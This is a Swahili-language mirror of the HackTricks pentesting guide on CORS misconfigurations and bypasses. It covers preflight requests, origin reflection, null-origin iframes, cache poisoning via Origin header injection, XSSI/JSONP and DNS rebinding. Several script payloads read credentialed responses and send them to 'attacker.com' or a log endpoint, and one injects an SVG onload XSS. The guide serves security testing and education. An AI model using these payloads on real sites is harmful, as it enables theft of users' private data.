Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cors-bypass.md

29 KiB
Raw Blame History

CORS - Makosa ya Usanidi na Kupitisha

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ni nini CORS?

Mkataba wa Kugawana Rasilmali kati ya Mito (CORS) inaruhusu seva kuamua ni nani anaweza kupata mali zao na njia za ombi za HTTP zipi zinaruhusiwa kutoka vyanzo vya nje.

Sera ya asili sawa inahitaji kwamba seva inayotaka rasilimali na seva inayohifadhi rasilimali washiriki itifaki sawa (k.m., http://), jina la kikoa (k.m., internal-web.com), na bandari (k.m., 80). Chini ya sera hii, kurasa za wavuti kutoka kwa kikoa na bandari sawa tu ndio zinaruhusiwa kupata rasilimali.

Matumizi ya sera ya asili sawa katika muktadha wa http://normal-website.com/example/example.html inaonyeshwa kama ifuatavyo:

URL iliyopatikana Kupatikana kuruhusiwa?
http://normal-website.com/example/ Ndiyo: Itifaki, kikoa, na bandari sawa
http://normal-website.com/example2/ Ndiyo: Itifaki, kikoa, na bandari sawa
https://normal-website.com/example/ Hapana: Itifaki tofauti na bandari
http://en.normal-website.com/example/ Hapana: Kikoa tofauti
http://www.normal-website.com/example/ Hapana: Kikoa tofauti
http://normal-website.com:8080/example/ Hapana: Bandari tofauti*

*Internet Explorer haizingatii nambari ya bandari katika kutekeleza sera ya asili sawa, hivyo kuruhusu ufikiaji huu.

Kichwa cha Access-Control-Allow-Origin

Kichwa hiki kinaweza kuruhusu mizizi mingi, thamani ya null, au alama ya mwitikio *. Walakini, kivinjari hakisaidii mizizi mingi, na matumizi ya alama ya mwitikio * yanategemea vizuizi. (Alama ya mwitikio inapaswa kutumika peke yake, na matumizi yake pamoja na Access-Control-Allow-Credentials: true hayaruhusiwi.)

Kichwa hiki hutolewa na seva kujibu ombi la rasilimali kati ya mito lililoanzishwa na wavuti, na kivinjari kiotomatiki huongeza kichwa cha Origin.

Kichwa cha Access-Control-Allow-Credentials

Kwa chaguo-msingi, maombi ya kati-mito hufanywa bila sifa kama vidakuzi au kichwa cha Uthibitishaji. Walakini, seva ya kati-mito inaweza kuruhusu kusoma kwa mwitikio wakati sifa zinatumwa kwa kuweka kichwa cha Access-Control-Allow-Credentials kuwa kweli.

Ikiwa imewekwa kuwa kweli, kivinjari kitatuma sifa (vidakuzi, vichwa vya uthibitishaji, au vyeti vya mteja vya TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Ombi la CSRF la kabla ya safari

Kuelewa Maombi ya Kabla ya Safari katika Mawasiliano ya Kuvuka-Domeini

Unapoanzisha ombi la kuvuka-domeini chini ya hali maalum, kama kutumia njia ya HTTP isiyo ya kawaida (chochote kisichokuwa HEAD, GET, POST), kuingiza vichwa vipya, au kutumia thamani maalum ya kichwa cha Aina ya Yaliyomo, ombi la kabla ya safari linaweza kuhitajika. Ombi hili la awali, likitumia njia ya OPTIONS, hutumika kumjulisha seva nia za ombi la kuvuka-matawi linalokuja, ikiwa ni pamoja na njia za HTTP na vichwa itakavyotumia.

Itifaki ya Kugawana Rasilmali kati ya Matawi (CORS) inahitaji ukaguzi huu wa kabla ya safari ili kubaini uwezekano wa operesheni ya kuvuka-matawi iliyotakiwa kwa kuthibitisha njia zilizoruhusiwa, vichwa, na uaminifu wa asili. Kwa uelewa kamili wa hali zipi zinazopuuza haja ya ombi la kabla ya safari, tazama mwongozo kamili uliotolewa na Mozilla Developer Network (MDN).

Ni muhimu kutambua kwamba ukosefu wa ombi la kabla ya safari haimaanishi kwamba jibu halihitaji kubeba vichwa vya idhini. Bila vichwa hivi, kivinjari kimelemazwa katika uwezo wake wa kusindika jibu kutoka kwa ombi la kuvuka-matawi.

Chukua mfano ufuatao wa ombi la kabla ya safari lililolenga kutumia njia ya PUT pamoja na kichwa cha desturi kilichoitwa Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Kama jibu, server inaweza kurudisha vichwa vinavyoonyesha njia zilizokubalika, asili iliyoruhusiwa, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Kichwa hiki hufafanua ni vichwa vipi vinaweza kutumiwa wakati wa ombi halisi. Kinasanidiwa na seva kuonyesha vichwa vilivyoidhinishwa katika maombi kutoka kwa mteja.
  • Access-Control-Expose-Headers: Kupitia kichwa hiki, seva inaarifu mteja ni vichwa vipi vinaweza kuwekwa wazi kama sehemu ya jibu mbali na vichwa vya jibu rahisi.
  • Access-Control-Max-Age: Kichwa hiki kinaonyesha muda gani matokeo ya ombi la awali yanaweza kuhifadhiwa. Seva inaweka wakati wa maksimumu, kwa sekunde, ambapo habari iliyorudishwa na ombi la awali inaweza kutumiwa tena.
  • Access-Control-Request-Headers: Kutumika katika maombi ya awali, kichwa hiki kinasanidiwa na mteja kuarifu seva ni vichwa vya HTTP vipi mteja anataka kutumia katika ombi halisi.
  • Access-Control-Request-Method: Kichwa hiki, pia kutumika katika maombi ya awali, kinasanidiwa na mteja kuonyesha ni njia gani ya HTTP itatumika katika ombi halisi.
  • Origin: Kichwa hiki kinasanidiwa moja kwa moja na kivinjari na kinaonyesha asili ya ombi la msingi wa msalaba-mwanzo. Hutumiwa na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.

Tafadhali kumbuka kwamba kawaida (kulingana na aina ya yaliyomo na vichwa vilivyosanidiwa) katika ombi la GET/POST hakuna ombi la awali linalotumwa (ombi linatumiwa moja kwa moja), lakini ikiwa unataka kupata vichwa/mwili wa jibu, lazima liwe na kichwa cha Access-Control-Allow-Origin kuruhusu hilo.
Hivyo basi, CORS haitoi ulinzi dhidi ya CSRF (ingawa inaweza kuwa na manufaa).

Maombi ya Mtandao wa Ndani Ombi la Awali

  1. Access-Control-Request-Local-Network: Kichwa hiki kinaingizwa katika ombi la mteja kumaanisha kuwa uchunguzi unalenga rasilimali ya mtandao wa ndani. Hutumika kama ishara kuarifu seva kuwa ombi linatoka ndani ya mtandao wa ndani.
  2. Access-Control-Allow-Local-Network: Kama jibu, seva hutumia kichwa hiki kuwasiliana kwamba rasilimali iliyoombwa inaruhusiwa kushirikishwa na vyama nje ya mtandao wa ndani. Hufanya kama taa ya kijani kwa kushirikisha rasilimali kati ya mipaka tofauti ya mtandao, ikidumisha ufikiaji uliodhibitiwa wakati wa kudumisha itifaki za usalama.

Jibu halali linaloruhusu ombi la mtandao wa ndani lazima pia liwe na kichwa Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Tafadhali kumbuka kuwa IP ya linux 0.0.0.0 inafanya kazi kwa kupita mahitaji haya ya kufikia localhost kwa sababu anwani hiyo ya IP haichukuliwi "ya ndani".

Pia ni pamoja na kupita mahitaji ya Mtandao wa Ndani ikiwa unatumia anwani ya IP ya umma ya mwisho (kama vile anwani ya IP ya router). Kwa sababu katika matukio kadhaa, hata kama anwani ya IP ya umma inafikiwa, ikiwa ni kutoka kwenye mtandao wa ndani, ufikiaji utapewa. {% endhint %}

Mipangilio Inayoweza Kudukuliwa

Imeonekana kuwa kuweka Access-Control-Allow-Credentials kuwa kweli ni sharti la msingi kwa mashambulizi halisi mengi. Mipangilio hii inaruhusu kivinjari kutuma vitambulisho na kusoma majibu, ikiboresha ufanisi wa shambulio. Bila hii, faida ya kufanya kivinjari litoe ombi badala ya kufanya mwenyewe hupungua, kwani kutumia vidakuzi vya mtumiaji kunakuwa sio jambo la kufanyika.

Ubunifu: Kudukua Mahali pa Mtandao kama Uthibitisho

Kuna ubunifu ambapo mahali pa mtandao wa mwathiriwa hufanya kama aina fulani ya uthibitisho. Hii inaruhusu kivinjari cha mwathiriwa kutumika kama proksi, kuzunguka uthibitisho wa msingi wa IP kufikia programu za mtandao wa ndani. Mbinu hii inashirikisha fanano katika athari na DNS rebinding lakini ni rahisi zaidi kudukua.

Kutafakari Origin katika Access-Control-Allow-Origin

Hali halisi ambapo thamani ya kichwa cha Origin inatafakariwa katika Access-Control-Allow-Origin ni nadra kwa nadharia kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, watengenezaji wanaotaka kuwezesha CORS kwa URL nyingi wanaweza kuzalisha kwa njia ya kudumu kichwa cha Access-Control-Allow-Origin kwa kunakili thamani ya kichwa cha Origin. Mbinu hii inaweza kuleta mapungufu, hasa wakati mshambuliaji anatumia kikoa chenye jina lililoundwa kuonekana halali, hivyo kudanganya mantiki ya uthibitisho.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Kutumia Asili ya null

Asili ya null, iliyoainishwa kwa hali kama vile migeuko au faili za HTML za ndani, inashikilia nafasi ya kipekee. Baadhi ya programu hupitia orodha nyeupe ya asili hii ili kurahisisha maendeleo ya ndani, kwa kubahatisha kuruhusu tovuti yoyote kufanana na asili ya null kupitia kipande cha iframe kilichofungwa, hivyo kukiuka vizuizi vya CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Mbinu za Kupita kwa Mipangilio ya Misaada ya Kielelezo cha Kawaida

Uponapoana orodha ya kikoa, ni muhimu kujaribu fursa za kupita, kama vile kuongeza kikoa cha mshambuliaji kwa kikoa kilichoorodheshwa au kutumia udhaifu wa kuchukua udhibiti wa subdomain. Aidha, mifumo ya kawaida ya kutambua kikoa inaweza kusahau nyuso katika sheria za kutaja kikoa, hivyo kutoa fursa zaidi za kupita.

Mbinu za Kupita za Kawaida za Misaada ya Kielezo

Mifumo ya Regex kawaida huzingatia wahusika wa alfa-namba, dot (.), na hyphen (-), ikisahau uwezekano mwingine. Kwa mfano, jina la kikoa lililoundwa kuingiza wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya Regex inaweza kupita vipimo vya usalama. Jinsi Safari, Chrome, na Firefox vinavyoshughulikia wahusika wa chini chini katika subdomains inaonyesha jinsi tofauti kama hizo zinaweza kutumika kuzunguka mantiki ya uthibitishaji wa kikoa.

Kwa habari zaidi na mipangilio ya ukaguzi huu wa kupita: https://www.corben.io/advanced-cors-techniques/ na https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Kutoka kwa XSS ndani ya Subdomain

Watengenezaji mara nyingi hutekeleza mifumo ya ulinzi kulinda dhidi ya unyanyasaji wa CORS kwa kuorodhesha kikoa kinachoruhusiwa kuomba habari. Licha ya tahadhari hizi, usalama wa mfumo si wa uhakika. Kuwepo hata wa subdomain moja yenye udhaifu ndani ya vikoa vilivyoorodheshwa kunaweza kufungua mlango wa unyanyasaji wa CORS kupitia udhaifu mwingine, kama vile XSS (Udukuzi wa Tovuti za Msalaba).

Kwa mfano, fikiria hali ambapo kikoa, requester.com, kimeorodheshwa kupata rasilimali kutoka kikoa kingine, provider.com. Mipangilio ya upande wa seva inaweza kuonekana kama hii:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Katika hali hii, subdomains zote za requester.com zinaruhusiwa kupata. Hata hivyo, ikiwa subdomain, sema sub.requester.com, inashambuliwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye ufikivu wa sub.requester.com anaweza kutumia udhaifu wa XSS kukiuka sera za CORS na kupata rasilimali kwa uovu kwenye provider.com.

Udanganyifu wa Cache Upande wa Seva

Kutoka kwa utafiti huu

Kuna uwezekano wa kudanganya cache upande wa seva kupitia kuingiza kichwa cha HTTP, udhaifu wa Stored Cross-Site Scripting (XSS) unaweza kusababishwa. Hali hii hutokea wakati programu inashindwa kusafisha kichwa cha Origin kwa herufi haramu, ikiumba udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Vivinjari hivi vinachukulia (0x0d) kama kifaa halali cha kumaliza kichwa cha HTTP, ikisababisha udhaifu wa kuingiza kichwa cha HTTP.

Zingatia ombi lifuatalo ambapo kichwa cha Origin kimebadilishwa:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer na Edge huchukulia jibu kama:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Wakati wa kudukua udhaifu huu moja kwa moja kwa kufanya kivinjari cha wavuti kutuma kichwa kilichoharibika sio jambo linalowezekana, ombi lililoundwa kwa makini linaweza kuzalishwa kwa mkono kwa kutumia zana kama Burp Suite. Njia hii inaweza kusababisha cache ya upande wa seva kuokoa jibu na kwa kubahatisha kulitumikia kwa wengine. Mzigo ulioandaliwa unalenga kubadilisha seti ya herufi ya ukurasa kuwa UTF-7, nambari ya kuweka herufi mara nyingi inayohusishwa na udhaifu wa XSS kutokana na uwezo wake wa kuweka herufi kwa njia ambayo inaweza kutekelezwa kama script katika muktadha fulani.

Kwa kusoma zaidi kuhusu udhaifu wa XSS uliowekwa, angalia PortSwigger.

Angalizo: Kutumia vibaya udhaifu wa kuingiza kichwa cha HTTP, hasa kupitia sumu ya cache ya upande wa seva, inathibitisha umuhimu mkubwa wa kuthibitisha na kusafisha mwingiliano wote unaotolewa na mtumiaji, ikiwa ni pamoja na vichwa vya HTTP. Tumia mfano thabiti wa usalama ambao unajumuisha uthibitishaji wa mwingiliano ili kuzuia udhaifu kama huo.

Sumu ya Cache ya Upande wa Mteja

Kutoka kwa utafiti huu

Katika hali hii, kipengele cha ukurasa wa wavuti kinachoonyesha maudhui ya kichwa cha HTTP cha desturi bila usimbaji sahihi kinaonekana. Kwa usahihi, ukurasa wa wavuti unarudisha nyuma maudhui yaliyomo kwenye kichwa cha X-User-id, ambacho kinaweza kuwa na JavaScript mbaya, kama inavyodhihirishwa na mfano ambapo kichwa kina picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.

Sera za Kugawana Rasilmali kati ya Mito (CORS) huruhusu kutuma vichwa vya desturi. Walakini, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya kuingiza kama hii yanaweza kuonekana kuwa na kikomo. Hatua muhimu inatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha Vary: Origin hakijatajwa, inawezekana kwa jibu la madhara kuhifadhiwa na kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kutembelea URL, ikipuuza haja ya uonyeshaji moja kwa moja wakati wa ombi la awali. Mfumo huu unaimarisha uaminifu wa shambulio kwa kutumia cache ya upande wa mteja.

Kuonyesha shambulio hili, mfano wa JavaScript unatolewa, ulioundwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama vile kupitia JSFiddle. Skripti hii inatekeleza hatua rahisi: inatuma ombi kwa URL iliyospecifikwa na kichwa cha desturi kinachojumuisha JavaScript mbaya. Baada ya kukamilisha ombi kwa mafanikio, inajaribu kutembelea URL ya lengo, ikisababisha utekelezaji wa msimbo ulioingizwa ikiwa jibu limehifadhiwa bila kushughulikiwa vizuri kwa kichwa cha Vary: Origin.

Hapa kuna maelezo mafupi ya JavaScript uliotumika kutekeleza shambulio hili:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Kupita

XSSI (Unganisho wa Skripti kati ya Maeneo) / JSONP

XSSI, inayojulikana pia kama Unganisho wa Skripti kati ya Maeneo, ni aina ya udhaifu ambao unatumia ukweli kwamba Sera ya Asili Sawa (SOP) haitekelezwi wakati wa kuingiza rasilimali kwa kutumia lebo ya skripti. Hii ni kwa sababu skripti inahitaji kuweza kuingizwa kutoka uwanja tofauti. Udhaifu huu huruhusu mshambuliaji kupata na kusoma yaliyomo yoyote yaliyokuwa yamejumuishwa kwa kutumia lebo ya skripti.

Udhaifu huu unakuwa muhimu hasa linapokuja suala la JavaScript ya kudumu au JSONP (JSON na Padding), hasa wakati habari za mamlaka ya mazingira kama vile vidakuzi hutumiwa kwa uthibitishaji. Wakati unapoomba rasilimali kutoka kwenye mwenyeji tofauti, vidakuzi huwa ni sehemu ya ombi hilo, hivyo kufanya iwezekane kwa mshambuliaji kuvifikia.

Ili kuelewa vizuri na kupunguza udhaifu huu, unaweza kutumia programu-jalizi ya BurpSuite inayopatikana kwenye https://github.com/kapytein/jsonp. Programu-jalizi hii inaweza kusaidia kutambua na kushughulikia udhaifu wa XSSI katika maombi yako ya wavuti.

Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.

Jaribu kuongeza callback parameta katika ombi. Labda ukurasa ulikuwa umewekwa tayari kutuma data kama JSONP. Katika kesi hiyo, ukurasa utatuma data kwa Content-Type: application/javascript ambayo itapita sera ya CORS.

Kupita kwa urahisi (bila maana?)

Njia moja ya kuvuka kizuizi cha Access-Control-Allow-Origin ni kwa kuomba programu ya wavuti kutuma ombi kwa niaba yako na kutuma jibu. Hata hivyo, katika hali hii, siri za mwisho wa mwathiriwa hazitatumwa kwani ombi linatolewa kwa uwanja tofauti.

  1. CORS-escape: Zana hii hutoa proksi ambayo inapeleka ombi lako pamoja na vichwa vyake, huku ikidanganya pia kichwa cha Asili ili kulingana na uwanja ulioombwa. Hii inapita kwa ufanisi sera ya CORS. Hapa kuna matumizi ya mfano na XMLHttpRequest:
  2. simple-cors-escape: Zana hii inatoa njia mbadala ya kusambaza maombi. Badala ya kusambaza ombi lako kama lilivyo, seva inafanya ombi lake lenyewe na vigezo vilivyowekwa.

Iframe + Kupita kwa Popup

Unaweza kuvuka ukaguzi wa CORS kama vile e.origin === window.origin kwa kuunda iframe na kufungua dirisha jipya kutoka kwake. Taarifa zaidi inapatikana kwenye ukurasa ufuatao:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding kupitia TTL

DNS rebinding kupitia TTL ni mbinu inayotumika kuvuka hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hivi ndivyo inavyofanya kazi:

  1. Mshambuliaji anaunda ukurasa wa wavuti na kufanya mwathiriwa aifikie.
  2. Mshambuliaji kisha hubadilisha DNS (IP) ya kikoa chao ili ielekeze kwenye ukurasa wa wavuti wa mwathiriwa.
  3. Kivinjari cha mwathiriwa hufanya akiba ya jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) inayoonyesha muda gani rekodi ya DNS inapaswa kuchukuliwa kuwa halali.
  4. Wakati TTL inapomalizika, kivinjari cha mwathiriwa hufanya ombi jipya la DNS, kuruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathiriwa.
  5. Kwa kudumisha udhibiti juu ya IP ya mwathiriwa, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathiriwa bila kutuma vidakuzi kwa seva ya mwathiriwa.

Ni muhimu kutambua kuwa vivinjari vina mifumo ya akiba ambayo inaweza kuzuia unyanyasaji wa haraka wa mbinu hii, hata kwa thamani za TTL za chini.

DNS rebinding inaweza kuwa na manufaa kwa kuvuka ukaguzi wa IP uliofanywa na mwathiriwa au kwa hali ambapo mtumiaji au boti anabaki kwenye ukurasa huo kwa muda mrefu, kuruhusu akiba kumalizika.

Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama https://lock.cmpxchg8b.com/rebinder.html.

Ili kuendesha seva yako mwenyewe ya DNS rebinding, unaweza kutumia zana kama DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Hii inahusisha kufunua bandari yako ya ndani 53/udp, kuunda rekodi ya A inayoashiria hiyo (k.m., ns.example.com), na kuunda rekodi ya NS inayoashiria kwa subdomain ya A iliyoundwa hapo awali (k.m., ns.example.com). Kila subdomain ya subdomain ya ns.example.com itatatuliwa na mwenyeji wako.

Unaweza pia kuchunguza seva inayofanya kazi hadharani kwa http://rebind.it/singularity.html kwa uelewa na majaribio zaidi.

DNS Rebinding kupitia Kufurika kwa Akiba ya DNS

DNS rebinding kupitia kufurika kwa akiba ya DNS ni mbinu nyingine inayotumika kuvuka mifumo ya akiba ya vivinjari na kulazimisha ombi la pili la DNS. Hivi ndivyo inavyofanya kazi:

  1. Kwanza, wakati mwathiriwa anafanya ombi la DNS, jibu linajibiwa na anwani ya IP ya mshambuliaji.
  2. Ili kuvuka ulinzi wa akiba, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma hufurika akiba ya DNS, ambayo kimsingi inafuta jina la mwenyeji wa mshambuliaji lililohifadhiwa.
  3. Wakati kivinjari cha mwathiriwa kinafanya ombi la pili la DNS, sasa jibu linajibiwa na anwani ya IP 127.0.0.1, ambayo kwa kawaida inahusu localhost.

Kwa kufurika kwa akiba ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudanganya mchakato wa ufumbuzi wa DNS na kulazimisha kivinjari cha mwathiriwa kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.

DNS Rebinding kupitia Akiba

Njia nyingine ya kuvuka ulinzi wa akiba ni kwa kutumia anwani za IP nyingi kwa subdomain moja katika mtoa huduma wa DNS. Hivi ndivyo inavyofanya kazi:

  1. Mshambuliaji anaweka rekodi mbili za A (au rekodi moja ya A na anwani mbili za IP) kwa subdomain moja katika mtoa huduma wa DNS.
  2. Wakati kivinjari kinachunguza rekodi hizi, kinapokea anwani zote mbili za IP.
  3. Ikiwa kivinjari kinachagua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutumikia mzigo wa data ambao unafanya maombi ya HTTP kwa kikoa kimoja.
  4. Hata hivyo, mara tu mshambuliaji anapopata anwani ya IP ya mwathiriwa, wanakoma kujibu kivinjari cha mwathiriwa.
  5. Kivinjari cha mwathiriwa, baada ya kugundua kuwa kikoa hakijibu, huanza kutumia anwani ya IP iliyotolewa ya pili.
  6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Sawa (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kusafirisha taarifa.

Mbinu hii inatumia tabia ya vivinjari wakati anwani za IP nyingi zinapotolewa kwa kikoa. Kwa kudhibiti majibu na kudanganya chaguo la anwani ya IP la kivinjari, mshambuliaji anaweza kutumia SOP na kupata taarifa kutoka kwa mwathiriwa.

{% hint style="warning" %} Tafadhali kumbuka kwamba ili kufikia localhost unapaswa kujaribu kurejesha 127.0.0.1 kwenye Windows na 0.0.0.0 kwenye linux.
Watoa huduma kama vile godaddy au cloudflare hawakuniruhusu kutumia anwani ya IP 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A na IP 2 ikiwa mojawapo ni "0.0.0.0"

{% endhint %}

Kwa habari zaidi unaweza kucheki https://unit42.paloaltonetworks.com/dns-rebinding/

Bypassinga Kawa

  • Ikiwa IP za ndani haziruhusiwi, wanaweza kusahau kupiga marufuku 0.0.0.0 (inafanya kazi kwenye Linux na Mac)
  • Ikiwa IP za ndani haziruhusiwi, jibu na CNAME kwa localhost (inafanya kazi kwenye Linux na Mac)
  • Ikiwa IP za ndani haziruhusiwi kama majibu ya DNS, unaweza kujibu CNAMEs kwa huduma za ndani kama vile www.corporate.internal.

Silaha ya DNS Rebidding

Unaweza kupata habari zaidi kuhusu mbinu za kuvuka zilizotangulia na jinsi ya kutumia zana ifuatayo kwenye mazungumzo Gerald Doussot - Hali ya Mashambulizi ya DNS Rebinding & Umoja wa Asili - Mkutano wa DEF CON 27.

Umoja wa Asili ni zana ya kufanya mashambulizi ya DNS rebinding. Inajumuisha vipengele vinavyohitajika kurekebisha anwani ya IP ya jina la DNS la seva ya shambulizi kwa anwani ya IP ya mashine ya lengo na kutumikia mzigo wa mashambulizi kuf exploit programu zinazoweza kudhuriwa kwenye mashine ya lengo.

Kinga Halisi dhidi ya DNS Rebinding

  • Tumia TLS kwenye huduma za ndani
  • Omba uthibitisho wa kupata data
  • Thibitisha kichwa cha Mwenyeji
  • https://wicg.github.io/private-network-access/: Pendekezo la kutuma ombi la awali daima wakati seva za umma zinataka kupata seva za ndani

Zana

Fanya majaribio ya kufanya kosa katika sera za CORS

Marejeo